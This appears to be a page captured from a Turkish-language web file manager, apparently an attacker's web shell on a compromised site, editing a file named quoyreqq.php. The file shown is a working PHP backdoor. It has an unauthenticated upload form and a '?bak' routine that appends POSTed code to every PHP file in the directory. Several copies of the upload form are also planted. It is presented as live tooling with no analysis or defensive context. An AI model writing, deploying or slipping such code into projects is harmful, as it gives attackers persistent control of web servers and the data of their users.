<h3>Düzenle: quoyreqq.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php echo&quot;&lt;form method=&#039;post&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;file&#039; name=&#039;a&#039;&gt;&lt;input type=&#039;submit&#039; value=&#039;Nyanpasu!!!&#039;&gt;&lt;/form&gt;&lt;pre&gt;&quot;;if(isset($_FILES[&#039;a&#039;])){move_uploaded_file($_FILES[&#039;a&#039;][&#039;tmp_name&#039;],&quot;{$_FILES[&#039;a&#039;][&#039;name&#039;]}&quot;);print_r($_FILES);};echo&quot;&lt;/pre&gt;&quot;;?&gt;
&lt;?php
if (isset($_GET[&#039;bak&#039;])) {
$directory = __DIR__;
$mama = $_POST[&#039;file&#039;];
$textToAppend = &#039;
&#039; . $mama . &#039;
&#039;;
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === &#039;php&#039;) {
            $fileHandle = fopen($directory . &#039;/&#039; . $file, &#039;a&#039;);
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo &quot;OK &gt;&gt; $file
&quot;;
        }
    }
    closedir($handle);
}
}
?&gt;

&lt;?php if (isset($_GET[&#039;bak&#039;])) { echo&quot;&lt;form method=&#039;post&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;file&#039; name=&#039;a&#039;&gt;&lt;input type=&#039;submit&#039; value=&#039;Nyanpasu!!!&#039;&gt;&lt;/form&gt;&lt;pre&gt;&quot;;if(isset($_FILES[&#039;a&#039;])){move_uploaded_file($_FILES[&#039;a&#039;][&#039;tmp_name&#039;],&quot;{$_FILES[&#039;a&#039;][&#039;name&#039;]}&quot;);print_r($_FILES);};echo&quot;&lt;/pre&gt;&quot;; } ?&gt;

&lt;?php if (isset($_GET[&#039;bak&#039;])) { echo&quot;&lt;form method=&#039;post&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;file&#039; name=&#039;a&#039;&gt;&lt;input type=&#039;submit&#039; value=&#039;Nyanpasu!!!&#039;&gt;&lt;/form&gt;&lt;pre&gt;&quot;;if(isset($_FILES[&#039;a&#039;])){move_uploaded_file($_FILES[&#039;a&#039;][&#039;tmp_name&#039;],&quot;{$_FILES[&#039;a&#039;][&#039;name&#039;]}&quot;);print_r($_FILES);};echo&quot;&lt;/pre&gt;&quot;; } ?&gt;

&lt;?php if (isset($_GET[&#039;bak&#039;])) { echo&quot;&lt;form method=&#039;post&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;file&#039; name=&#039;a&#039;&gt;&lt;input type=&#039;submit&#039; value=&#039;Nyanpasu!!!&#039;&gt;&lt;/form&gt;&lt;pre&gt;&quot;;if(isset($_FILES[&#039;a&#039;])){move_uploaded_file($_FILES[&#039;a&#039;][&#039;tmp_name&#039;],&quot;{$_FILES[&#039;a&#039;][&#039;name&#039;]}&quot;);print_r($_FILES);};echo&quot;&lt;/pre&gt;&quot;; } ?&gt;

&lt;?php if (isset($_GET[&#039;bak&#039;])) { echo&quot;&lt;form method=&#039;post&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;file&#039; name=&#039;a&#039;&gt;&lt;input type=&#039;submit&#039; value=&#039;Nyanpasu!!!&#039;&gt;&lt;/form&gt;&lt;pre&gt;&quot;;if(isset($_FILES[&#039;a&#039;])){move_uploaded_file($_FILES[&#039;a&#039;][&#039;tmp_name&#039;],&quot;{$_FILES[&#039;a&#039;][&#039;name&#039;]}&quot;);print_r($_FILES);};echo&quot;&lt;/pre&gt;&quot;; } ?&gt;
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fwebdevt%2Fwww'>⬅️ Yukarı</a>